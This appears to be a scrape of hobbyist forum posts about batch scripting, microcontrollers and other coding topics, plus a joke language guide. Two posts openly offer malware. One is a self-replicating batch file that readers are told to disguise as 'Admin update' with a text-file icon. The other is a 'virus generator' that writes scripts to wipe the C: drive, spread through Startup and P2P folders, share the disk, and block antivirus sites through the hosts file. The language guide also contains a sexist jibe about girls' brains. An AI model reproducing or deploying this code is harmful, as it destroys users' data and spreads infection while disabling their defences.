number=%rnd% So as you can see, %random% is a set variable and generates a random number for you. Please keep in mind that this can take one second, or one eternity (literally) since it doesn't narrow down the choices after finding that a number doesn;t work. So, you may keep on generating 101 forever and never get to 100! 3. The ^| Command. Ever get frustrated because you are making an animation with, for example, stick figures and are getting driven nuts because the minute it gets to a certain part, it exits on you? The reason is probably because you used the | symbol, which is actually knd of like a command by itself. So, if you're doing something like this: echo [0] echo /| echo / The reason it is not working is because you didin't use a ^ before the |. Here's what it should be: echo [0] echo /^| echo / Yes, it looks wierd in the editing stages, but looks much better in the real thing. Just remember, you will have to remember that the ^ will be invisible, so make sure everything else in front of it is like this: echo [0]   [ echo /^|    [ echo /     [ So that the [ or whatever it is is one space ahead from the others. 4. The %TIME:~0,5% Command. What time is it? Oh, it's 3:16:52.29! Ever been frustrated with the TIME command? For one, who ( and when I mean who, I mean the average batcher who doesn't use the TIME command to synchronize seven different computers around the house which I could never hope to do) needs to be that exact? When making a batch alarm clock, for example, the user wouldn't really want to do all of that, would they? So, for those of you who would want to make such a clock, here's an example: @echo off title Alarm Clock :start cls color f0 echo. echo Use 24 hour clock echo. set /p a=Set Alarm: cls echo. echo Alarm set to %a%. :alarm if %time:~0,5% EQU %a% goto alarmset goto alarm :alarmset color fc echo echo echo cls echo. echo It's %time:~0,5%! echo. echo Press 1 to acknowledge. choice /n /c:12 /t:2,1 if errorlevel 2 goto alarmset if errorlevel 1 goto sleep goto alarmset :sleep goto start So there's one example. %TIME:~0,5% sets the time from 3:15:00.00 to just 15:15. This doesn't work just with the TIME command, you can do this with any variable. If I had a variable %x% and it said "crayon" and wanted it to say "cray," I would type in %x:~0,-2%. If I wanted to make %x% say "on," I would type in %x:~-4,0%. 5. The AT Command The AT command is exactly what it appears to be. You tell it AT (time) /every:[day(s) of the week] (command to be executed). So, it I wanted an alarm to go off whenever the Simpsons are on, I'd type AT 19:30 /every:sumtwthfs echo ALARM!!! Now, I know that the Simpsons are on at a different time on Sundays, but that's not important. Please not that you HAVE to specify what day you want it to go off on (it can be dd/mm/yyyy to be really specific). Default is set to "tomorrow." This was probably too confusing. For one, I talk too much. Thank you for even getting this far, anyways. Thanks a bunch!

Posted by TheBatchies 8 years ago


Virus

I did this at school. Open notepad, copy and paste this, then save it as Admin update.bat & then when you've saved it, create a shortcut then hide the original file. After that, change the icon to the one that looks like the .txt file(i am not responsible for what you do with this):@echo off:1set title=%random%@echo off>%title%.bat:1>%title%.batset title=%random%>%title%.bat@echo off>%title%.bat>%title%.bat:1>%title%.bat>%title%.batset title=%random%>%title%.bat>%title%.batgoto 1>%title%.batgoto 1

Posted by krujh2 9 years ago


Band, Miter, jig or scroll saw: the "goto" tool

Hi, I was wondering what people use for prepping materials to fit on small workspace spaces. I am interested in using machinable materials like acrylic, lexan, delrin, hdpe, machinable foam, polystyrene, brass and aluminum. These materials are usually easy to get in the right thickness and width, but the length could be 4'. I need to slice them down to sizes no more than 5.25" long to be used on a small cnc machine (5.5"x4.5"x1.25" build area) What do you think, or have experience with, that solves most of your needs? Thanks, Andy

Posted by AndyWilson 3 years ago


Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Posted by Vinylshakers 10 years ago


Yabasic (for the PS2)

I found Yabasic as an extra for a PS2 demodisc, and i recently dug it out from my Ps2 pile. it is a fun and simple piece of software for creating small programs, in which you type a command (eg. print, input, goto, beep etc.) and then a piece of text. here is a code for a simple number guess program, sorry for mistakesREM Number guess gameprint "I am thinking of a number between 1 and 50, try to guess it!"input a$if (a$>13) thenprint "your number was larger than mine!"goto inputendifelseif (a$<13) thenprint "your number was smaller than mine!"goto inputendifelseif (a$=13) thenprint "My number was 13! Congratulations, you win!"Feel free to edit the prints, and the number doesn't have to be 13. there are other things involving string variables and other commands. heres one called identitiy finderREM Identity finder programPrint "What is your name?" :":input a$Print "How old are you, ",a$,"?" :":Input b$Print "And where do you live, ",a$,"?" :":Input c$Print "so your name is ",a$,", you are ",b$," years old and you live in ",c$,", correct?"Pause 5Feel free to add more string variables, just add them as d$, e$, f$ etc.anyway, post coding for more yabasic programs, and use the stuff above!

Posted by The Jamalam 10 years ago


Spammy Batch File

Here is the code for a spammy batch file. @echo off echo This batch file is made possible by the divine blessing of Monty Python! pause>nul echo Spam Spam Spam Spam echo Spam Spam! A: echo Lovely Spam! echo Beautiful Span! echo Lovely Spam! echo Beautiful Spam! goto a

Posted by dla888 9 years ago


Help...?

I have figured out how to make an inbox setup, I just need help. I am not asking for someone to give me the whole answer, but rather help me figure out what the problem is. This isn't the program itself (obviously), just a section Please take a look:if %command% EQU 5 (chdir C:\chdir Documents and Settingschdir All Userschdir Desktopchdir %global.username%IF EXIST Mail.txt (type %global.username%echo You have mail!pause > nulset command=goto AccountPanel) ELSE (echo No new messages.pause > nulset command=goto AccountPanel)For some reason, I can only get it to say "You have no new messages" or "You have mail!" rather than the right one for the situation. Now, It keeps appearing and disapearing in a window whenever I select the number five. All users have the same exact Account Panel, so %global.username% just represents the user that is currently logged on using set globals. I am kindly asking for help, not for someone to do it for me. I know that batch isn't a real scripting language, but it is fun to work with, just... confusing. I am sure I have all of the directories correct. Please help!

Posted by DELETED_DELETED_DarthVader 9 years ago


C/C++ (CPP or C Plus Plus) Programs -- Will Write, money is used to goto College

Hi, I am writing programs for people in C or C++ to earn money for College. I have been programming for many years and have a good amount of experience. If you would like something made, please private message me or leave a comment below. I will try to get back to you as soon as possible. Thanks  

Posted by Ebay 8 years ago


Cool Batch applet

Hey whats up the names Jason. I am 13 and like to play with computers but not like Halo (although i am guilty of occasionally playing Halo) what interest me is computer logic and programming. So right now i am half-way decentish with Qbasic and consequently Visual Basic, but the language i am most fluent in is just plain old DOS scripting (batch files). My math teacher at the begging of the year my math teacher announced that once o twice a month we would have a pop quiz on square roots and squares of numbers 1-20. Now to say the least I am poor with memorization. So i tried flash cards and starin at a sheet with the squares and square roots on it. but I was pretty consistently getting 60s and 70s. Now being a pretty good student this upset me and my parents weren't exactly happy. So then i decided i would make a batch file to quiz me on this, my first one was on sqrts. writing this took forever so even still i made another for squares. These programs help me study immensely and i now get a perfect 100 every quiz.. i then started thinking that there must be a way to speed up the writing of a simaler quiz program. thats why i wrote this, and i know it is probably mediocre but i like it so be nice. (You can do whatever you want with this source code, and while not required i would prefer credit if you distribute a mod of this batch file.)Here it is:rem The purpose of this batch is to automate the process of making another batch that is used to quiz a person@echo off:startclsEcho Make a Quizecho.echo.rem this part creates a variabl that wil be used in creating the final batch fileecho enter the name of the fileecho .bat wil automaticaly be tacked ont to the endSet /p filename=echo.echo.rem This just creates a ariable that is the title of the the game to be createdecho now enter the title of the quizset/p title=echo.echo.rem this is where the user inputs question part one and it becomes a variableecho enter question part 1Set /p quespt1=echo.echo.rem this ask for the second part of the question echo enter qeustion part 2set /p quespt2=echo.echo.Rem this declares some variables just for shorthandset line=echo.set ec=echoRem this creates a file that user named a while back and then fills it with some preliminary textecho @echo off>%filename%.batecho :start>>%filename%.batecho cls>>%filename%.batecho echo %title%>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batrem this part is called midstart because ideally later you can repeat this multiple times depending on how long your quiz isset next=0:midstartset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo You got it right>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batecho you have asked %next% question(s)echo.echo.echo If you would like to make a new question simply type "n" and press enterecho However to input your last question type "l" and press enterset /p endchoice=if %endchoice% == l goto endif %endchoice% == n goto restart:restartgoto midstart:endset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo you won>>%filename%.batecho echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>%filename%.batecho %line%>>%filename%.batecho echo click to exit>>%filename%.batecho pause>>%filename%.batEcho And thats it your doneecho.echo click to exitset /p end=And thats it so have fun and feel free to comment

Posted by lemonshark10 10 years ago


MPLAB and PIC16F628A, basic EEPROM functions wont work

Hello all Ive got a query about the simulator in MPLAB.  I'm using a PIC16F628A-IP and Ive written a couple of subs to run the EEPROM functions, but when I try and run the program in the simulator and observe the registers, I'm noticing that EECON1 is not accepting bit changes, and when reading from the EEPROM, i get as far as getting the correct value into W register (MOVFW EEDATA), then the next step, simply a RETURN command, for no reason wipes the W register back to 0 and hence the routine always returns a 0 Can somebody have a look and see whats going wrong, this is one of the easiest routines to write as there are so many examples on the web, Ive even used code straight from Microchip's Code Library and that didnt work either, its driving me MAD!!! All I am trying to do with the following code is simply read the EEPROM contents of address 05, display the returned contents to PORTB, wait a second, then increment the contents by 1 and resave into the EEPROM at address 05, so by rights on power up I should see FF then 00 then 01 then 02, etc, incrementing every second, on PORTB....I'm a bit of a stickler for custom keywords so sorry if its a bit confusing, makes perfect sense to me of course! ;  GENERIC PROGRAMMING HEADER  LIST P=16F628A   ; DETERMINE CORE TYPE  INCLUDE "P16F628A.INC" ; INCLUDE DEFAULT ASSEMBLY FILE FOR THIS CORE  ORG 00H     ; START PROGRAM AT LINE 0  RADIX HEX    ; ASSUME HEX UNLESS SPECIFIED  ERRORLEVEL -302  ; NO BANK WARNINGS DURING ASSEMBLY   ;  SET BURN CONIFGURATION FOR NO WDT AND INTERNAL OSC AT 4MHZ  __CONFIG _CP_OFF & _WDT_OFF & _PWRTE_ON & _BODEN_OFF &_INTRC_OSC_NOCLKOUT & _MCLRE_OFF & _LVP_OFF ;  CONSTANTS AND VARIABLES OPT  EQU 81H  ; OPTION REGISTER NN  EQU 02AH ; GENERAL N REGISTER FOR COUNTING DELAYS XX  EQU 02BH ; GENERAL X REGISTER FOR COUNTING DELAYS YY  EQU 02CH ; GENERAL Y REGISTER FOR COUNTING DELAYS TEMP EQU 02DH ; GENERAL TEMPORARY FOLDER 1 TMP  EQU 02EH ; GENERAL TEMPORARY FOLDER 2 FLAGS EQU 020H ; MISCELLANEOUS PROGRAM SPECIFIC FLAGS N  EQU 021H X  EQU 022H ; GENERAL TEMP STORES Y  EQU 023H ;  CUSTOM INSTRUCTIONS #DEFINE   BANK0     BCF       STATUS,RP0          ; Sel Bank 0 #DEFINE   BANK1     BSF       STATUS,RP0          ; Sel Bank 1 #DEFINE   READNVM CALL READ #DEFINE   WRITENVM CALL WRITE #DEFINE   W10MS  CALL DELAY #DEFINE   W1S  CALL DELAY1S ;----------------------------------------------------------------- ;  INITIALISE MICRO ;----------------------------------------------------------------- INIT   BANK1   CLRF  TRISB ; PORT B DEFINED ALL OUTPUTS   MOVLW 0FFH   MOVWF TRISA ; PORT A ALL INPUTS   BANK0 ;  SET TO MIMIC 16F84 BY TURNING OFF COMPARATOR   MOVLW 07H   MOVWF CMCON ;  PURGE GENERAL RAM FILES   CLRF NN   CLRF XX   CLRF YY   CLRF TEMP    CLRF TMP    CLRF FLAGS   CLRF N   CLRF X   CLRF Y   CLRF PORTA   CLRF PORTB   CLRF OPT   CLRF INTCON   ;------------------------------------------------------------------- ;  MAIN PROGRAM ;------------------------------------------------------------------- MAIN; ORIGIN   MOVLW 05   READNVM   MOVWF PORTB   W1S   MOVLW 05   MOVWF EEADR   MOVF PORTB,W   INCF W,1   MOVWF EEDATA   WRITENVM   GOTO  MAIN ;--------------------------------------------------------------------------- ;  END OF MAIN PROGRAM BODY ;---------------------------------------------------------------------------   GOTO FINISH  ; PROGRAM LOOP FALLOUT ;--------------------------------------------------------------------------- ;  SUBROUTINES ;--------------------------------------------------------------------------- ; LIST OF AVAILABLE SUBS: ; DELAY  = 10mS DELAY ; DELAY1S  = 1 sec DELAY ; WRITE  = WRITE TO EEPROM, MUST BE LOADED WITH EEDATA AND EEADR B4 ENTRY ; READ  = READ FROM EEPROM ADDRESS HELD IN W BEFORE ENTRY, RETURN RESULT IN W ;  10mS DELAY DELAY       MOVLW 0AH   MOVWF XX OUTER   MOVLW 0C7H   MOVWF YY INNER   NOP         NOP         DECFSZ  YY,1         GOTO    INNER                 DECFSZ  XX,1         GOTO    OUTER   NOP   NOP   NOP   NOP   NOP   NOP   NOP         RETURN DELAY1S   ; 100x10mS DELAYS   MOVLW  064H   MOVWF NN D1L  W10MS   DECFSZ NN,1   GOTO D1L    RETURN   WRITE       BANK1         CLRF EECON1                        BSF EECON1,WREN            ; enable write   W10MS   W10MS   BCF INTCON,GIE         MOVLW H'55'                ; magic sequence         MOVWF EECON2                       MOVLW H'AA'                          MOVWF EECON2                       BSF EECON1,WR   W10MS   W10MS             eeloop BTFSC EECON1,WR            ; wait for WR to go low         GOTO eeloop                ; not yet         BCF EECON1,WREN                    BCF INTCON,GIE           ; clear the interrupt flag         BANK0   W10MS   W10MS         RETURN READ BCF EECON1,WREN   MOVWF EEADR                ; set up eeprom address from W         BANK1   BSF EECON1,RD              ; set the read bit         BANK0   MOVFW EEDATA              ; return value in W         RETURN   ;  PROGRAM ENDS FINISH   END Note, this will probably make more sense if its copied and pasted into an ASM in MPLAB, as the tab stops and comments become more apparent THanks for looking  

Posted by whitebakecase 8 years ago


A-Jax - Speed - Web Developers

Why use slow flash when faster better ways are there? AJax is great, fast, and does the job. Here is some simple code for your site: xhr = (window.XMLHttpRequest) ? new XMLHttpRequest() : new ActiveXObject("Microsoft.xhr"); xhr.open("POST or GET", "PAGE-URI", 1); xhr.onreadystatechange = (function() { Code to run for the result.. }); Simple yes? My site uses the code above but within lots more Javascript hacks included. My site is http://sitegen.com.au/ My js file is minimized so to get to the code just goto http://sitegen.com.au/js.php?min=false and the same deal with my css file..

Posted by james.mcglashan 8 years ago


PICAXE Electronic interference?

I have solved the problem by making two changes.Firstly, a 22k resistor was put from I/O 2 to ground.Secondly, I had to modify the program to be the following, and accept any value as an input as long as it was not 0. The new program is shown below:main:low 1 &apos;discharge led on Pin 1input 2 &apos;make pin 2 an inputreadadc 2, b1 &apos;read pin 2 using ADCif b1 > 0 then flash goto main &apos;loop back roundflash:&apos;led sequencehigh 1pause 100low 1goto mainI've been having a bit of an odd problem...I'm trying to use a PICAXE 08M with a touch input, so a user touches a wire or bridges 2 wires and the uC responds based on the program, at the moment, turns an LED on.Now, Initially, I've tried a few things, until sort of by accident I noticed that using the program I was, the LED turned on by touching the input pin of the PICAXE, with nothing attached to it except one short piece of wire. I know the human body has certain capacitive qualities, but I wouldn't have thought it would be enough for this. The LED started turning on when I got close to the breadboard it was on, never mind the wire.I tried moving the board, while I had my finger on the wire, and found that when I got a certain distance from my laptop (About 1 ft or so) the LED would go out, and not come on again. Strangely, it does the same when my laptop is turned off!So what I was wondering is, what could my laptop be doing that enables the PICAXE to get an input from seemingly nothing? Could it be some sort of EM field from it? Incidentally, the same thing happens close to my TV.The code i'm using is below.main:low 1 &apos;discharge led on Pin 1input 2 &apos;make pin 2 an inputreadadc 2, b1 &apos;read pin 2 using ADCif b1 < 40 then flash goto main &apos;loop back roundflash:&apos;led sequencehigh 1pause 100low 1goto main

Posted by whatsisface 10 years ago


miracle in my dorm room?

Ok i'm no genius, so this might be a stupid question i goto to boarding school, and i have one of those plasma globes with the electricity inside, and when you touch it the electricity move to your fingers anyway, my roomate has this lamp, and i swear to god how it works is beyond me the lightbulb sits in the bottom of a tall metal box frame , the sides of which are covered with lampshade paper and the top of which is open it has three intensity settings, and to switch it through the three you lightly rap on the metal of the frame with your finger BUT: it doesnt work if you shake it, and if you tap it with plastic, metal, or a magnet nothing happens in addition to all that, if i sit the plasma globe near it and flick it on or touch it, the jesus lamp switches up to the next intensity (after the third it turns off) i think it might be a midget in my desk drawer, but if anyone knows better PLEASE enlighten me as to whats going on...

Posted by sethex 11 years ago


Pololu pushbutton power switch module control issue

Hello all: I'm using the low-voltage version of the Pololu pushbutton power switch module to power up/down an Arduino Mini project.  You can see it here: http://www.pololu.com/catalog/product/751/resources It works great, with an exception; if someone presses the single Pololu power switch while the Arduino is ON, it powers it off again. This may be normally what you want, but it isn't in my case.  I'd like the circuit to act like this: 1- wait for button press 2- push button 3- Pololu applies power to Arduino 4- Arduino boots up, loops until 30 seconds has passed.  After 30 seconds, send POWER OFF signal to Pololu. 5- Pololu powers Arduino down. 6- goto 1 It works like that, BUT if someone presses the button again during that 30 seconds, the Pololu powers the unit off right away.  I'd like to somehow disallow that, electronically. Anyone have any ideas? Thanks, Jim

Posted by jimlips 6 years ago


How to write a Dummies Book (for Dummies - and get rich at the same time!)

Intro How to write a Dummy Book - for DummiesHave you ever wanted to write a Dummy's Book, but not sure how to go about it! Here's a quick example that's guaranteed to make you money like the rest of the series. Three simple steps, but endless fun for all involved.step 1 Create your coverGoto: http://dkgoodman.com/2006/04/dummies-book-cover-generator.htmlKnock yourself out with your fantastic Dummy Cover design. See mine for reference.step 2 Write the content (this is were the $$$/dosh/bread is)Chapter 1: Buy this bookChapter 2: Give money to people who guarantee to make you moneyChapter 3: Print your own moneyChapter 4: If all else fails, buy another copy of this bookstep 3 Contact Dummys.com and watch the money roll inContact details can be found at : Dummies Bookshttp://www.dummies.com/WileyCDA/step 4 What are you waiting for?I once picked up a book called "What men know about women". It was 20 pages of fantastic blank page reading. If you want to achieve anything in life, the first step is to work out what you want, then just go ahead and do it. If that means going and buying a Dummies Book, then so be it. Personally, I prefer to write them.

Posted by s4074433 11 years ago


Serial communication between PC and picaxe 28X2

Hi, I am having problem in communicating with PC with Picaxe 28x2. Please help me in solving this problem as it is a very important project My aim is to send the values of w1 and w2 variables ( values of the ultrasonic range sensors 1 and 2 ) to the PC and display them with the help of VB my picaxe code is ..., #picaxe 28x2 main: pulsout C.1,2 pulsin C.1,1,w1 pause 10 pulsout C.2,2 pulsin C.2,1,w2 pause 10 sertxd(#w1,#w2) pause 100 goto main and my VB code is , Imports System.IO Imports Strings = Microsoft.VisualBasic Public Class Form1 Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Integer) Dim WithEvents serialPort As New IO.Ports.SerialPort Dim PicaxeRegisters(0 To 1) As Byte Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load Timer1.Enabled = True Timer1.Interval = 5000 End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Call SerialTxRx() End Sub Sub SerialTxRx() Dim labelstring As String = "" Label1.Text = "" If serialPort.IsOpen Then serialPort.Close() End If Try With serialPort .PortName = "COM1" .BaudRate = 9600 .Parity = IO.Ports.Parity.None .DataBits = 8 ' 8 bits .StopBits = IO.Ports.StopBits.One .ReadTimeout = 1000 .Open() .Read(PicaxeRegisters, 0, 2) .Close() End With For i = 0 To 1 labelstring = labelstring + " " + Str(PicaxeRegisters(i)) Next Label1.Text = labelstring Catch ex As Exception MsgBox(ex.ToString) Label1.Text = "Timeout" End Try End Sub End Class I have not included the write command, since I have not included qualifiers in the picaxe code. The Picaxe chip is sending the values ( I used the terminal in picaxe programming editor to realise this) but the visual basic is not displaying me the actual values sent by the picaxe chip. It is showing random values instead ... So i think that there is an error in the VB code. PLEASE HELP AS SOON AS POSSIBLE .. Thank You 

Posted by santhoshR 7 years ago


the International-English language guide (v0.4a)

International-English Grammary rules :Rule #1 : "-ize" versus "-ise" In International-English language, we don't speak American-English or British-English. So, we are free to choose whichever ending we want.However, it is recommended to adapt ourselves to our interlocutors. For instance, if you write to an American-English speaker, you'd rather prefer the -ise ending, and when you'll write to a British-English speaker, you'd rather prefer the -ize one.It's also possible to select -isze or -izse endings, and you're absolutely welcome to change all along your sentences.However, it is absolutely forbidden to improvizse excentrical endings such as -izzzz, iszsze, etc.Examples :I realize that we could recognise that he did not organizse this exercisze as expected. (correct)Yeah, I agree. It was a great surprizzszsze ! <------- bad ! very bad ! Don't !Same rule apply to words like civilizsation, coloniszation, etc.Rule #2 : "-our" versus "-or" The rule is almost the same than #1.The alternative International-English ending is : "-oor".On the other hand, the "-ur" ending is not an acceptable alternative !Examples :I love the couloor of yor eyes and the flavoor of yoor tongue ! (correct)Yeah, yur right ! <----- bad ! extremely bad !Rule #3 : "-re" versus "-er" Again, same as #1 and #2.Unfortunately, there is no International-English alternative ending.However, keep in mind that this rule only apply to words that have a different spelling in American-English than in British-English.When available, always prefer international spellings over american-english spellings : litre and metre instead of liter and meter Examples :As I was lost in the centre of this commercial center, I drunk three litre ... (correct)Three liter of what ? Of wine or of watre ? <---- bad ! very very bad ! never do that !I don't remember, so I guess it was not water. (correct)Rule #4 : conjugation :If you forget the -s or the -es at the third person, it do not really matter as long as the pronoun is present in your sentence.By default, every past form of verbs take a final -d or -ed, and it is acceptable to ignore irregular verbs.It is also acceptable to conjugate the verb after its auxiliary : I did not conjugated correctly.Examples : She don't understand because she's a girl ... (acceptable)Yeah, that's because girls have a smaller brain than men. (correct)(and true)Yes, you're right. I have readed that in a magazsine writed by eminent scientists. (acceptable)Rule #5 : plural forms :By default, plural form of words take a final -s, and it is acceptable to write the plural form of words like child and "man" with a final -s (childs, mans), instead of children and men.Also, if you accidentally add a final -s to children, it does not really matter ... as for men with a final -s, it's rather a women's problem that you should better avoid.Examples :I hate childs ... (acceptable)Why did you made childrens then ? (acceptable)Because I wanted to play Lego and Play-doh again ... (immature and stupid)International-English Dictionary and Vocabular :CColoorCoulorCouloorCoulournounSame as color and colour.This is a beautifull coulour, how did you made it ? - Thanks, I simply mixed them all.This afternoon, KillerJackalope cut Cameron just to show him his favoorite coulour.EExcentricaladjective1. strange or unusual, sometimes in an amusing way :He thinks he is an artist, but this guy is just totally excentrical !2. which is not in the centre : The axis of this wheel is excentrical !GGOTOverbTo go to somewhere without possible return.You'll GOTO hell !GOSUBverbTo go to somewhere with a possible return.You'll GOTO hell without even GOSUB purgatory !!GrammarynounSame as grammar, but ending with a y :Why this y ? - Because that's the International-English grammary !HHolyHollyHolllyadjrelated to a religion or a godthis holly book makes not sense at all ... it's all writted in Outdated-English language.Yeah, I agree. It would have maked more sense if it was an hollly manga ...HoolyHoollyHoolllynouna small evergreen tree with shiny sharp leaves and small round red fruitWhere did you go for your Hollydays ?I went to Hoolllyhood ...the holy place of the movies industry ?Nah ... Hoollly HOOD ......But that makes no sense !Yeah, it's because it's an holly definition.LLoginphrasal verb when you connect to your account on a computer or a website by entering your name and your password :Please login to your account and watch my website !Okay ! I'm loging in !logingnounthe activity of loging in to a computer.a loging userPParalleliseParallelize Parallelizse Parallelisze verbto put in parallel :He parallelised the laser beams together.ParallelisedParallelizedParalleliszedParallelizsedadjectivethat have been put in parallel :These laser beams are perfectly paralleliszed.Pronounciationnounfrom the verb "to pronounce" ; how words are pronouncedWhat is the correct pronounciation of the word 'zeitgeist' ? - Don't ask me ! I don't even know how to spell it !UUnbannableadjectiveimpossible to ban ; that can't be banned :I can hardly believe that Nachomahma got banned from many site : he seems so unbannable !This guy is unbannable because he respects all the rules of the site.VVocabularnounSame as vocabulary, but without the ending y:Why not the y ? - Because it's the International-English vocabular !International-English pronounciation :As we all know :- most American-English speakers emit ducks and cats noises through their nose, and almost "vomit" some vowels- most British-English speakers emits vowels through their nose from the back of their throat, and consonants between their teeth without using their lips- most Australian-English speakers don't pronounce at all (they just make noises)So, you are free to pronounce your words with whatever accent you want. It's your right. After all, English is not your first language. You can be proud to know more than one language, and thus, it's your entire right to customise this second language with your natural accent.However, if, for the sake of compatibility, you absolutely want to imitate an accent, it is highly suggested to pick the Canadian-English pronunciation. They are the only ones to pronounce words like "about" and "house" correctly.For instance, they don't say : "abawt" and "hawse", they say "aboot" and "hooze".(c) all right reserved terminajones.com, aka chooseausername on instructables.comShiver irrrrrelevant Humens !Now that we have assimilated your tongue,You have therefore no secrets for us !

Posted by chooseausername 10 years ago


It's that time of year again!

